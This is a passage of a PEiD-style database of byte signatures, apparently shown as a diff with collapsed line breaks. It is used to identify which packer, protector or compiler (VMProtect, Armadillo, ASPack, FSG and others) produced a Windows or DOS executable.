45 00 83 EE FF E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 98 83 ED 04 89 45 00 83 C6 01 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 98 83 ED 04 83 EE FF 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 8D 76 01 83 C5 02 88 14 07 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 8D 76 01 83 C5 02 66 89 14 07 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 EE FF 83 C5 02 88 14 07 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 83 EE FF 98 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 83 C6 01 98 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 46 98 83 ED 04 89 45 00 E9 +ep_only = true + +[.BJFnt v1.3] +signature = EB ?? 3A ?? ?? 1E EB ?? CD 20 9C EB ?? CD 20 EB ?? CD 20 60 EB +ep_only = true + +[624 (Six to Four) v1.0] +signature = 50 55 4C 50 83 ?? ?? FC BF ?? ?? BE ?? ?? B5 ?? 57 F3 A5 C3 33 ED +ep_only = true + +[Ady`s Glue v0.10] +signature = 2E 8C 06 ?? ?? 0E 07 33 C0 8E D8 BE ?? ?? BF ?? ?? FC B9 ?? ?? 56 F3 A5 1E 07 5F +ep_only = true + +[AHPack 0.1 -> FEUERRADER] +signature = 60 68 54 ?? ?? 00 B8 48 ?? ?? 00 FF 10 68 B3 ?? ?? 00 50 B8 44 ?? ?? 00 FF 10 68 00 +ep_only = true + +[Alex Protector v1.0 -> Alex] +signature = 60 E8 00 00 00 00 5D 81 ED 06 10 40 00 E8 24 00 00 00 EB 01 E9 8B +ep_only = true + +[Alloy v1.x.2000] +signature = 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 07 20 40 ?? 87 DD 6A 04 68 ?? 10 ?? ?? 68 ?? 02 ?? ?? 6A ?? FF 95 46 23 40 ?? 0B +ep_only = true + +[Anticrack Software Protector v1.09 (ACProtect)] +signature = 60 ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 01 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 ?? ?? ?? 04 ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 01 +ep_only = true + +[aPack v0.82] +signature = 1E 06 8C CB BA ?? ?? 03 DA 8D ?? ?? ?? FC 33 F6 33 FF 48 4B 8E C0 8E DB +ep_only = true + +[Armadillo v2.50b3] +signature = 55 8B EC 6A FF 68 B8 ?? ?? ?? 68 F8 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 20 ?? ?? ?? 33 D2 8A D4 89 15 D0 +ep_only = true + +[Armadillo v2.52] +signature = 55 8B EC 6A FF 68 ?? ?? ?? ?? E0 ?? ?? ?? ?? 68 D4 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF ?? ?? ?? 15 38 +ep_only = true + +[Armadillo v2.52 beta2] +signature = 55 8B EC 6A FF 68 ?? ?? ?? ?? B0 ?? ?? ?? ?? 68 60 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF ?? ?? ?? 15 24 +ep_only = true + +[Armadillo v2.53] +signature = 55 8B EC 6A FF 68 40 ?? ?? ?? 68 54 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 58 ?? ?? ?? 33 D2 8A D4 89 15 EC +ep_only = true + +[Armadillo v2.60] +signature = 55 8B EC 6A FF 68 D0 ?? ?? ?? 68 34 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 68 ?? ?? ?? 33 D2 8A D4 89 15 84 +ep_only = true + +[Armadillo v2.60a] +signature = 55 8B EC 6A FF 68 ?? ?? ?? ?? 68 94 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 6C ?? ?? ?? 33 D2 8A D4 89 15 B4 +ep_only = true + +[Armadillo v2.60b1] +signature = 55 8B EC 6A FF 68 50 ?? ?? ?? 68 74 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 58 ?? ?? ?? 33 D2 8A D4 89 15 FC +ep_only = true + +[Armadillo v2.60b2] +signature = 55 8B EC 6A FF 68 90 ?? ?? ?? 68 24 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 60 ?? ?? ?? 33 D2 8A D4 89 15 3C +ep_only = true + +[Armadillo v2.60c] +signature = 55 8B EC 6A FF 68 40 ?? ?? ?? 68 F4 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 6C ?? ?? ?? 33 D2 8A D4 89 15 F4 +ep_only = true + +[Armadillo v2.61] +signature = 55 8B EC 6A FF 68 28 ?? ?? ?? 68 E4 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 6C ?? ?? ?? 33 D2 8A D4 89 15 0C +ep_only = true + +[Armadillo v2.65b1] +signature = 55 8B EC 6A FF 68 38 ?? ?? ?? 68 40 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 28 ?? ?? ?? 33 D2 8A D4 89 15 F4 +ep_only = true + +[Armadillo v2.75a] +signature = 55 8B EC 6A FF 68 68 ?? ?? ?? 68 D0 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 28 ?? ?? ?? 33 D2 8A D4 89 15 24 +ep_only = true + +[Armadillo v2.85] +signature = 55 8B EC 6A FF 68 68 ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 28 ?? ?? ?? 33 D2 8A D4 89 15 24 +ep_only = true + +[Armadillo v2.xx (CopyMem II)] +signature = 6A ?? 8B B5 ?? ?? ?? ?? C1 E6 04 8B 85 ?? ?? ?? ?? 25 07 ?? ?? 80 79 05 48 83 C8 F8 40 33 C9 8A 88 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 81 E2 07 ?? ?? 80 79 05 4A 83 CA F8 42 33 C0 8A 82 +ep_only = true + +[ASPack v1.08.03] +signature = 60 E8 00 00 00 00 5D ?? ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 03 DD 2B 9D B1 50 44 00 83 BD AC 50 44 00 00 89 9D BB 4E +ep_only = true + +[ASPack v1.08.x] +signature = 60 EB 03 5D FF E5 E8 F8 FF FF FF 81 ED 1B 6A 44 00 BB 10 6A 44 00 03 DD 2B 9D 2A +ep_only = true + +[ASPack v2.11b] +signature = 60 E8 02 00 00 00 EB 09 5D 55 81 ED 39 39 44 00 C3 E9 3D 04 00 00 +ep_only = true + +[ASPack v2.11c] +signature = 60 E8 02 00 00 00 EB 09 5D 55 81 ED 39 39 44 00 C3 E9 59 04 00 00 +ep_only = true + +[ASPack v2.12] +signature = 60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB +ep_only = true + +[ASProtect v1.2 -> Alexey Solodovnikov (h1)] +signature = 90 60 E8 1B 00 00 00 E9 FC 8D B5 0F 06 00 00 8B FE B9 97 00 00 00 AD 35 78 56 34 12 AB 49 75 F6 EB 04 5D 45 55 C3 E9 ?? ?? ?? 00 +ep_only = false + +[ASProtect V2.X DLL -> Alexey Solodovnikov] +signature = 60 E8 03 00 00 00 E9 ?? ?? 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ?? ?? ?? ?? 03 DD +ep_only = true + +[AVPACK v1.20] +signature = 50 1E 0E 1F 16 07 33 F6 8B FE B9 ?? ?? FC F3 A5 06 BB ?? ?? 53 CB +ep_only = true + +[BamBam v0.01] +signature = 6A 14 E8 9A 05 00 00 8B D8 53 68 FB ?? ?? 00 E8 6C FD FF FF B9 05 00 00 00 8B F3 BF FB ?? ?? 00 53 F3 A5 E8 8D 05 00 00 8B 3D 03 ?? ?? 00 A1 2B ?? ?? 00 66 8B 15 2F ?? ?? 00 B9 80 ?? ?? 00 2B CF 89 45 E8 89 0D 6B ?? ?? 00 66 89 55 EC 8B 41 3C 33 D2 03 C1 +ep_only = false + +[BeRoEXEPacker v1.00 (DLL) -> BeRo / Farbrausch] +signature = 83 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B F9 81 FE ?? ?? ?? ?? 7F 10 AC 47 04 18 2C 02 73 F0 29 3E 03 F1 03 F9 EB E8 BA ?? ?? ?? ?? 8D B2 +ep_only = true + +[BeRoEXEPacker v1.00 (DLL) -> BeRo / Farbrausch] +signature = 83 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 BE ?? ?? ?? ?? BF ?? ?? ?? ?? FC B2 80 33 DB A4 B3 02 E8 ?? ?? ?? ?? 73 F6 33 C9 E8 ?? ?? ?? ?? 73 1C 33 C0 E8 ?? ?? ?? ?? 73 23 B3 02 41 B0 10 +ep_only = true + +[BeRoEXEPacker v1.00 (DLL) -> BeRo / Farbrausch] +signature = 83 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B F9 81 FE ?? ?? ?? ?? 7F 10 AC 47 04 18 2C 02 73 F0 29 3E 03 F1 03 F9 EB E8 +ep_only = true + +[BeRoEXEPacker v1.00 (DLL) -> BeRo / Farbrausch] +signature = 83 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 BE ?? ?? ?? ?? BF ?? ?? ?? ?? FC B2 80 33 DB A4 B3 02 E8 ?? ?? ?? ?? 73 F6 33 C9 E8 ?? ?? ?? ?? 73 1C 33 C0 E8 ?? ?? ?? ?? 73 23 B3 02 41 B0 10 +ep_only = true + +[BeRoEXEPacker V1.00 -> BeRo] +signature = BA ?? ?? ?? ?? 8D B2 ?? ?? ?? ?? 8B 46 ?? 85 C0 74 51 03 C2 8B 7E ?? 8B 1E 85 DB 75 02 8B DF 03 DA 03 FA 52 57 50 FF 15 ?? ?? ?? ?? 5F 5A 85 C0 74 2F 8B C8 8B 03 85 C0 74 22 0F BA F0 1F 72 04 8D 44 ?? ?? 51 52 57 50 51 FF 15 ?? ?? ?? ?? 5F 5A 59 85 C0 74 0B AB 83 C3 04 EB D8 83 C6 14 EB AA 61 C3 +ep_only = false + +[BeRoEXEPacker v1.00 -> BeRo / Farbrausch] +signature = 60 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? B9 04 00 00 00 8B F9 81 FE ?? ?? ?? ?? 7F 10 AC 47 04 18 2C 02 73 F0 29 3E 03 F1 03 F9 EB E8 BA ?? ?? ?? ?? 8D B2 +ep_only = true + +[BeRoEXEPacker v1.00 -> BeRo / Farbrausch] +signature = 60 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? B9 04 00 00 00 8B F9 81 FE ?? ?? ?? ?? 7F 10 AC 47 04 18 2C 02 73 F0 29 3E 03 F1 03 F9 EB E8 +ep_only = true + +[BeRoEXEPacker v1.00 DLL [LZMA] -> BeRo / Farbrausch] +signature = 83 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B F9 81 FE ?? ?? ?? ?? 7F 10 AC 47 04 18 2C 02 73 F0 29 3E 03 F1 03 F9 EB E8 +ep_only = true + +[BeRoEXEPacker v1.00 [LZMA] -> BeRo / Farbrausch] +signature = 60 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? B9 04 00 00 00 8B F9 81 FE ?? ?? ?? ?? 7F 10 AC 47 04 18 2C 02 73 F0 29 3E 03 F1 03 F9 EB E8 +ep_only = true + +[CA Visual Objects 2.0 - 2.5] +signature = 89 25 ?? ?? ?? ?? 33 ED 55 8B EC E8 ?? ?? ?? ?? 8B D0 81 E2 FF 00 00 00 89 15 ?? ?? ?? ?? 8B D0 C1 EA 08 81 E2 FF 00 00 00 A3 ?? ?? ?? ?? D1 E0 0F 93 C3 33 C0 8A C3 A3 ?? ?? ?? ?? 68 FF 00 00 00 E8 ?? ?? ?? ?? 6A 00 E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? BB +ep_only = true + +[CAN2EXE v0.01] +signature = 26 8E 06 ?? ?? B9 ?? ?? 33 C0 8B F8 F2 AE E3 ?? 26 38 05 75 ?? EB ?? E9 +ep_only = true + +[ChinaProtect -> dummy * Sign.By.fly] +signature = C3 E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 30 C3 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 30 C3 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 30 C3 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 30 C3 56 8B ?? ?? ?? 6A 40 68 00 10 00 00 8D ?? ?? 50 6A 00 E8 ?? ?? ?? ?? 89 30 83 C0 04 5E C3 8B 44 ?? ?? 56 8D ?? ?? 68 00 40 00 00 FF 36 56 E8 ?? ?? ?? ?? 68 00 80 00 00 6A 00 56 E8 ?? ?? ?? ?? 5E C3 +ep_only = false + +[CodeCrypt v0.164] +signature = E9 2E 03 00 00 EB 02 83 3D 58 EB 02 FF 1D 5B EB 02 0F C7 5F EB 03 FF 1D 34 +ep_only = true + +[COMPACK v4.5 (2)] +signature = BE ?? ?? E8 ?? ?? 5D 83 ?? ?? 55 50 53 51 52 0E 07 0E 1F 8B CE +ep_only = true + +[COMPACK v5.1] +signature = BD ?? ?? 50 06 8C CB 03 DD 8C D2 4B 8E DB BE ?? ?? BF ?? ?? 8E C2 B9 ?? ?? F3 A5 4A 4D 75 ?? 8B F7 8E DA 0E 07 06 16 +ep_only = true + +[CopyControl v3.03] +signature = CC 90 90 EB 0B 01 50 51 52 53 54 61 33 61 2D 35 CA D1 07 52 D1 A1 3C +ep_only = true + +[Cracked by AutoHack (1)] +signature = FA 50 51 57 56 1E 06 2E 80 3E ?? ?? ?? 74 ?? 8E 06 ?? ?? 2B FF FC +ep_only = true + +[Cracked by Autohack (2)] +signature = 0E 1F B4 09 BA ?? ?? CD 21 FA 8E 06 ?? ?? BE ?? ?? 8B 0E ?? ?? 83 F9 +ep_only = true + +[Crunch/PE] +signature = 55 E8 ?? ?? ?? ?? 5D 83 ED 06 8B C5 55 60 89 AD ?? ?? ?? ?? 2B 85 +ep_only = true + +[Crunch/PE v2.0.x.x] +signature = 55 E8 ?? ?? ?? ?? 5D 83 ED 06 8B C5 55 60 89 AD ?? ?? ?? ?? 2B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 55 BB ?? ?? ?? ?? 03 DD 53 64 67 FF 36 ?? ?? 64 67 89 26 +ep_only = true + +[Crunch/PE v4.0] +signature = EB 10 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 55 E8 ?? ?? ?? ?? 5D 81 ED 18 ?? ?? ?? 8B C5 55 60 9C 2B 85 E9 06 ?? ?? 89 85 E1 06 ?? ?? FF 74 24 2C E8 BB 01 00 00 0F 82 92 05 00 00 E8 F1 03 00 00 49 0F 88 86 05 00 00 68 6C D9 B2 96 33 C0 50 E8 24 +ep_only = false + +[Crypto-Lock v2.02 (Eng) -> Ryan Thian] +signature = 60 BE 15 90 40 00 8D BE EB 7F FF FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 +ep_only = true + +[DAEMON Protect v0.6.7] +signature = 60 60 9C 8C C9 32 C9 E3 0C 52 0F 01 4C 24 FE 5A 83 C2 0C 8B 1A 9D 61 +ep_only = true + +[DBPE v1.53] +signature = 9C 55 57 56 52 51 53 9C FA E8 ?? ?? ?? ?? 5D 81 ED 5B 53 40 ?? B0 ?? E8 ?? ?? ?? ?? 5E 83 C6 11 B9 27 ?? ?? ?? 30 06 46 49 75 FA +ep_only = true + +[DBPE v2.10] +signature = EB 20 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 9C 55 57 56 52 51 53 9C E8 ?? ?? ?? ?? 5D 81 ED ?? ?? ?? ?? EB 58 75 73 65 72 33 32 2E 64 6C 6C ?? 4D 65 73 73 61 67 65 42 6F 78 41 ?? 6B 65 72 6E 65 6C +ep_only = true + +[DBPE v2.33] +signature = EB 20 ?? ?? 40 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 9C 55 57 56 52 51 53 9C E8 ?? ?? ?? ?? 5D 81 ED ?? ?? ?? ?? 9C 6A 10 73 0B EB 02 C1 51 E8 06 ?? ?? ?? C4 11 73 F7 5B CD 83 C4 04 EB 02 99 EB FF 0C 24 71 +ep_only = true + +[DEF v1.0] +signature = BE ?? 01 40 00 6A ?? 59 80 7E 07 00 74 11 8B 46 0C 05 00 00 40 00 8B 56 10 30 10 40 4A 75 FA 83 C6 28 E2 E4 68 ?? 10 40 00 C3 +ep_only = false + +[DIET v1.00, v1.00d] +signature = BF ?? ?? 3B FC 72 ?? B4 4C CD 21 BE ?? ?? B9 ?? ?? FD F3 A5 FC +ep_only = true + +[DIET v1.02b, v1.10a, v1.20] +signature = BE ?? ?? BF ?? ?? B9 ?? ?? 3B FC 72 ?? B4 4C CD 21 FD F3 A5 FC +ep_only = true + +[Ding Boy's PE-lock Phantasm v1.5b3] +signature = 9C 55 57 56 52 51 53 9C FA E8 00 00 00 00 5D 81 ED 5B 53 40 00 B0 +ep_only = true + +[DOS32 v.3.3 DOS-Extender and Loader] +signature = 0E 1F FC 9C 5B 8B C3 80 F4 ?? 50 9D 9C 58 3A E7 75 ?? BA ?? ?? B4 09 CD 21 B4 4C CD 21 +ep_only = true + +[Dropper Creator V0.1 -> Conflict] +signature = 60 E8 00 00 00 00 5D 8D 05 ?? ?? ?? ?? 29 C5 8D 85 ?? ?? ?? ?? 31 C0 64 03 40 30 78 0C 8B 40 0C 8B 70 1C AD 8B 40 08 EB 09 +ep_only = false + +[dUP v2.x Patcher --> www.diablo2oo2.cjb.net] +signature = 54 68 69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F 74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20 6D 6F +ep_only = false + +[dUP2 -> diablo2oo2] +signature = E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 6A 00 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? A2 ?? ?? ?? ?? 6A 00 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? A2 ?? ?? ?? ?? 6A 00 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? A2 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 3C 01 75 19 BE ?? ?? ?? ?? 68 00 02 00 00 56 68 +ep_only = true + +[EEXE Version 1.12] +signature = B4 30 CD 21 3C 03 73 ?? BA 1F 00 0E 1F B4 09 CD 21 B8 FF 4C CD 21 +ep_only = true + +[ENIGMA Protector V1.12-> Sukhov Vladimir] +signature = 60 E8 00 00 00 00 5D 83 C5 FA 81 ED ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 01 00 00 00 9A 83 C4 04 EB 02 FF 35 60 E8 24 00 00 00 00 00 FF EB 02 CD 20 8B 44 24 0C 83 80 B8 00 00 00 03 31 +ep_only = true + +[Exact Audio Copy] +signature = E8 ?? ?? ?? 00 31 ED 55 89 E5 81 EC ?? 00 00 00 8D BD ?? FF FF FF B9 ?? 00 00 00 +ep_only = true + +[EXE Packer v7.0 by TurboPower Software] +signature = 1E 06 8C C3 83 ?? ?? 2E ?? ?? ?? ?? B9 ?? ?? 8C C8 8E D8 8B F1 4E 8B FE +ep_only = true + +[EXE Stealth v1.1] +signature = 60 E8 00 00 00 00 5D 81 ED FB 1D 40 00 B9 7B 09 00 00 8B F7 AC +ep_only = true + +[EXE2COM (regular)] +signature = E9 8C CA 81 C3 ?? ?? 3B 16 ?? ?? 76 ?? BA ?? ?? B4 09 CD 21 CD 20 0D +ep_only = true + +[EXE2COM (With CRC check)] +signature = B3 ?? B9 ?? ?? 33 D2 BE ?? ?? 8B FE AC 32 C3 AA 43 49 32 E4 03 D0 E3 +ep_only = true + +[EXE32Pack v1.36] +signature = 3B C0 74 02 81 83 55 3B C0 74 02 81 83 53 3B C9 74 01 BC ?? ?? ?? ?? 02 81 ?? ?? ?? ?? ?? ?? ?? 3B DB 74 01 BE 5D 8B D5 81 ED CC 8D 40 +ep_only = true + +[EXE32Pack v1.37] +signature = 3B C0 74 02 81 83 55 3B C0 74 02 81 83 53 3B C9 74 01 BC ?? ?? ?? ?? 02 81 ?? ?? ?? ?? ?? ?? ?? 3B DB 74 01 BE 5D 8B D5 81 ED 4C 8E 40 +ep_only = true + +[EXE32Pack v1.38] +signature = 3B C0 74 02 81 83 55 3B C0 74 02 81 83 53 3B C9 74 01 BC ?? ?? ?? ?? 02 81 ?? ?? ?? ?? ?? ?? ?? 3B DB 74 01 BE 5D 8B D5 81 ED DC 8D 40 +ep_only = true + +[EXE32Pack v1.39] +signature = 3B C0 74 02 81 83 55 3B C0 74 02 81 83 53 3B C9 74 01 BC ?? ?? ?? ?? 02 81 ?? ?? ?? ?? ?? ?? ?? 3B DB 74 01 BE 5D 8B D5 81 ED EC 8D 40 +ep_only = true + +[EXECryptor 2.1.17 -> Strongbit/SoftComplete Development (h)] +signature = BE ?? ?? ?? ?? B8 00 00 ?? ?? 89 45 FC 89 C2 8B 46 0C 09 C0 0F 84 ?? 00 00 00 01 D0 89 C3 50 FF 15 94 ?? ?? ?? 09 C0 0F 85 0F 00 00 00 53 FF 15 98 ?? ?? ?? 09 C0 0F 84 ?? 00 00 00 89 45 F8 6A 00 8F 45 F4 8B 06 09 C0 8B 55 FC 0F 85 03 00 00 00 8B 46 10 01 +ep_only = false + +[EXECryptor 2.2.4 -> Strongbit/SoftComplete Development (h2)] +signature = E8 F7 FE FF FF 05 ?? ?? 00 00 FF E0 E8 EB FE FF FF 05 ?? ?? 00 00 FF E0 E8 ?? 00 00 00 +ep_only = true + +[EXECryptor 2.x -> SoftComplete Developement] +signature = A4 ?? ?? 00 00 00 00 00 FF FF FF FF 3C ?? ?? 00 94 ?? ?? 00 D8 ?? ?? 00 00 00 00 00 FF FF FF FF +ep_only = false + +[ExeJoiner V1.0 -> Yoda f2f] +signature = 68 00 10 40 00 68 04 01 00 00 E8 39 03 00 00 05 00 10 40 00 C6 00 5C 68 04 01 00 00 +ep_only = true + +[EXEPACK v4.05, v4.06] +signature = 8C C0 05 ?? ?? 0E 1F A3 ?? ?? 03 06 ?? ?? 8E C0 8B 0E ?? ?? 8B F9 4F 8B F7 FD F3 A4 +ep_only = true + +[EXERefactor V0.1 -> random] +signature = 55 8B EC 81 EC 90 0B 00 00 53 56 57 E9 58 8C 01 00 55 53 43 41 54 49 4F 4E +ep_only = true + +[ExeSmasher vx.x] +signature = 9C FE 03 ?? 60 BE ?? ?? 41 ?? 8D BE ?? 10 FF FF 57 83 CD FF EB 10 +ep_only = true + +[ExeTools COM2EXE] +signature = E8 ?? ?? 5D 83 ED ?? 8C DA 2E 89 96 ?? ?? 83 C2 ?? 8E DA 8E C2 2E 01 96 ?? ?? 60 +ep_only = true + +[eXPressor 1.2 -> CGSoftLabs] +signature = 55 8B EC 81 EC D4 01 00 00 53 56 57 EB 0C 45 78 50 72 2D 76 2E 31 2E 32 2E 2E +ep_only = true + +[eXPressor 1.2.0 Beta PE Packer] +signature = 55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 EB ?? 45 78 50 72 2D 76 2E 31 2E 32 2E 2E +ep_only = true + +[eXPressor v1.2.0b] +signature = 55 8B EC 81 EC D4 01 00 00 53 56 57 EB 0C 45 78 50 72 2D 76 2E 31 2E 32 2E 2E B8 ?? ?? ?? 00 2B 05 84 ?? ?? 00 A3 ?? ?? ?? 00 83 3D ?? ?? ?? 00 00 74 16 A1 ?? ?? ?? 00 03 05 80 ?? ?? 00 89 85 54 FE FF FF E9 ?? 07 00 00 C7 05 ?? ?? ?? 00 01 00 00 00 68 04 +ep_only = false + +[eXPressor v1.3 -> CGSoftLabs (h)] +signature = 55 8B EC 83 EC ?? 53 56 57 EB 0C 45 78 50 72 2D 76 2E 31 2E 33 2E 2E B8 ?? ?? ?? ?? 2B 05 ?? ?? ?? ?? A3 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? 00 74 13 A1 ?? ?? ?? ?? 03 05 ?? ?? ?? ?? 89 ?? ?? E9 ?? ?? 00 00 C7 05 +ep_only = true + +[eXPressor v1.4 -> CGSoftLabs (h)] +signature = 55 8B EC 83 EC ?? 53 56 57 EB 0C 45 78 50 72 2D 76 2E 31 2E 34 2E 2E B8 +ep_only = true + +[Eεش-> ºڷ] +signature = 55 8B EC B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 56 57 0F 31 8B D8 0F 31 8B D0 2B D3 C1 EA 10 B8 ?? ?? ?? ?? 0F 6E C0 B8 ?? ?? ?? ?? 0F 6E C8 0F F5 C1 0F 7E C0 0F 77 03 C2 ?? ?? ?? ?? ?? FF E0 +ep_only = true + +[FACRYPT v1.0] +signature = B9 ?? ?? B3 ?? 33 D2 BE ?? ?? 8B FE AC 32 C3 AA 49 43 32 E4 03 D0 E3 +ep_only = true + +[Feokt] +signature = 89 25 A8 11 40 00 BF ?? ?? ?? 00 31 C0 B9 ?? ?? ?? 00 29 F9 FC F3 AA ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 +ep_only = true + +[FreeBasic 0.14] +signature = 55 89 E5 83 EC 08 C7 04 24 ?? 00 00 00 FF 15 ?? ?? ?? 00 E8 ?? FF FF FF 89 EC 31 C0 5D C3 89 F6 55 89 E5 83 EC 08 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 55 89 E5 83 EC 08 8B 45 08 89 04 24 FF 15 ?? ?? ?? 00 89 EC 5D +ep_only = true + +[FSG v1.1] +signature = BB D0 01 40 ?? BF ?? 10 40 ?? BE ?? ?? ?? ?? FC B2 80 8A 06 46 88 07 47 02 D2 75 05 8A 16 +ep_only = true + +[FSG v1.10 (Eng) -> bart/xt -> WinRAR-SFX] +signature = 80 E9 A1 C1 C1 13 68 E4 16 75 46 C1 C1 05 5E EB 01 9D 68 64 86 37 46 EB 02 8C E0 5F F7 D0 +ep_only = true + +[FSG v1.10 (Eng) -> bart/xt -> WinRAR-SFX] +signature = EB 01 02 EB 02 CD 20 B8 80 ?? 42 00 EB 01 55 BE F4 00 00 00 13 DF 13 D8 0F B6 38 D1 F3 F7 +ep_only = true + +[FSG v1.10 (Eng) -> dulek/xt -> (Borland C++ 1999)] +signature = 